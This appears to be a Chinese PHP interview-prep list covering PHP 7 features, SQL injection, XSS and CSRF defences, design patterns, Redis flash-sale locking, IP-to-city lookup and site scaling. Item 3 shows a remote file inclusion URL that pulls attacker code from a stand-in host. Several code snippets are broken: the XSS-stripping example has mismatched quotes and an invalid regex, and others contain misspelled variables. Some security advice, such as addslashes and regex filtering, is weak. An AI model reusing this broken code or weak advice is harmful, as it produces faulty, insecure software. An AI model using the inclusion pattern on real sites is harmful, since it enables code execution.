1.php7新特性
?? 运算符(NULL 合并运算符)
函数返回值类型声明
标量类型声明
use 批量声明
define 可以定义常量数组
闭包( Closure)增加了一个 call 方法,详细的可以见官网:php7-new-features
2.php7卓越性能背后的优化
减少内存分配次数
多使用栈内存
缓存数组的hash值
字符串解析成桉树改为宏展开
使用大块连续内存代替小块破碎内存 详细的可以参考鸟哥的PPT:PHP7性能之源
3.include($_GET['p'])的安全隐患
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本。如果allow_url_fopen=On,你更是死定了:试试这个输入:
http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出。黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
4.列出一些防范SQL注入、XSS攻击、CSRF攻击的方法
SQL注入:
addslashes函数
mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
PDO预处理 XSS:htmlspecial函数 CSRF:
验证HTTP REFER
使用toke进行验证
5.接口如何安全访问
jwt或验证签名
6.PHP里有哪些设计模式
单例模式
工厂模式
脸面模式(facade)
注册器模式
策略模式
原型模式
装饰器模式
更多的可以看PHP设计模式简介这篇文章
7.验证ip是否正确
function check_ip($ip) { if (!filter_var($ip, FILTER_VALIDATE_IP)) { return false; } else { return true; } }
8.验证日期是否合理
function check_datetime($datetime) { if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) { return true; } else { return false; } }
9.写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)
$text = '<script>alert('XSS')</script>'; $pattern = '<script.*>.*<\/script>/i'; $text = preg_replace($pattern, '', $text);
10.下单后30分钟未支付取消订单
第一种方案:被动过期+cron,就是用户查看的时候去数据库查有没有支付+定时清理。第二种方案:延迟性任务,到时间检查订单是否支付成功,如果没有支付则取消订单
11.设计一个秒杀系统
思路:用redis的队列
$ttl = 4; $random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000); $lock = fasle; while (!$lock) { $lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl)); } if ($redis->get('goods.num') <= 0) { echo ("秒杀已经结束"); //删除锁 if ($redis->get('lock') == $random) { $redis->del('lock'); } return false; } $redis->decr('goods.num'); echo ("秒杀成功"); //删除锁 if ($redis->get('lock') == $random) { $redis->del('lock'); } return true;
12.请设计一个实现方式,可以给某个ip找到对应的省和市,要求效率尽可能的高
// ip2long,把所有城市的最小和最大Ip录进去 $redis_key = 'ip'; $redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加# $resid->zAdd($redis_key, 30, 'bj');//最大IP function get_ip_city($ip_address) { $ip = ip2long($ip_address); $redis_key = 'ip'; $city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1))); if ($city) { if (strpos($city[0], "#") === 0) { echo '城市不存在!'; } else { echo '城市是' . $city[0]; } } else { echo '城市不存在!'; } }
13.网页/应用访问慢突然变慢,如何定位问题
top、iostat查看cpu、内存及io占用情况
内核、程序参数设置不合理 查看有没有报内核错误,连接数用户打开文件数这些有没有达到上限等等
链路本身慢 是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网广播风暴什么的
程序设计不合理 是否程序本身算法设计太差,数据库语句太过复杂或者刚上线了什么功能引起的
其它关联的程序引起的 如果要访问数据库,检查一下是否数据库访问慢
是否被攻击了 查看服务器是否被DDos了等等
硬件故障 这个一般直接服务器就挂了,而不是访问慢
14.如何设计/优化一个访问量比较大的博客/论坛
减少http请求(比如使用雪碧图)
优化数据库(范式、SQL语句、索引、配置、读写分离)
缓存使用(Memcache、Redis)
负载均衡
动态内容静态化+CDN
禁止外部盗链(refer、图片添加水印)
控制大文件下载
使用集群
15.如何搭建Composer私有库
使用satis搭建
相关关键字:使用satis搭建Composer私有库